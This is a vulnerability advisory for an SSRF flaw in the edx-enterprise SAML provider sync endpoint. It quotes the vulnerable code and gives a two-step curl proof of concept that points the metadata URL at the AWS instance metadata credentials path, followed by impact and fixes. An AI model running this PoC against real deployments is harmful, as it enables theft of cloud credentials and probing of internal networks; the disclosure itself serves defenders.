PT-2026-37284 · Pypi · Dxenterprise

Published

2026-05-05

·

Updated

2026-05-05

·

CVE-2026-42860

CVSS v3.1

8.5

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

The sync provider data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync provider data. The fetch in fetch metadata xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.
This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetch saml metadata Celery task) was applied in GHSA-328g-7h4g-r2m9.

Details

Vulnerable code path:
enterprise/api/v1/views/saml utils.py:
def fetch metadata xml(url):
  log.info("Fetching %s", url)
  if not url.lower().startswith('https'):
    log.warning("This SAML metadata URL is not secure! (%s)", url)
  response = requests.get(url, verify=True) # No IP/scheme validation
  response.raise for status()
enterprise/api/v1/views/saml provider data.py:
@action(detail=False, methods=['post'], url path='sync provider data')
def sync provider data(self, request):
  ...
  metadata url = saml provider.metadata source # set via SAMLProviderConfig PATCH
  xml = fetch metadata xml(metadata url)    # triggers the fetch
Missing protections:
  • No HTTPS enforcement (HTTP is allowed; the warning is not enforced)
  • No blocking of loopback (127.0.0.0/8) or link-local (169.254.0.0/16) ranges
  • No blocking of RFC 1918 private ranges
  • No request timeout

Proof of Concept

Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.
Step 1: Set a malicious metadata URL via the provider config endpoint:
curl -X PATCH 'https://<instance>/auth/saml/v0/provider config/<pk>/' 
 -H 'Authorization: Bearer <JWT>' 
 -H 'Content-Type: application/json' 
 -d '{"metadata source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
Step 2: Trigger the server-side fetch:
curl -X POST 'https://<instance>/auth/saml/v0/provider data/sync provider data' 
 -H 'Authorization: Bearer <JWT>' 
 -H 'Content-Type: application/json' 
 -d '{"enterprise customer uuid": "<uuid>"}'
The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.

Impact

An Enterprise Admin can use this SSRF to:
  • Steal cloud credentials: Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.
  • Scan internal networks: Probe internal hosts, ports, and services behind the deployment's firewall.
  • Access internal APIs: Reach databases, admin panels, or microservices not exposed to the internet.
Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.

Patches / Mitigations

Call validate saml metadata url() (importable from common.djangoapps.third party auth.utils as of the openedx-platform fix in GHSA-328g-7h4g-r2m9) in fetch metadata xml() before calling requests.get(). A request timeout should also be added.
Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.

Fix

SSRF

Weakness Enumeration

Related Identifiers

CVE-2026-42860
GHSA-64CV-VXPR-J6VC

Affected Products

Dxenterprise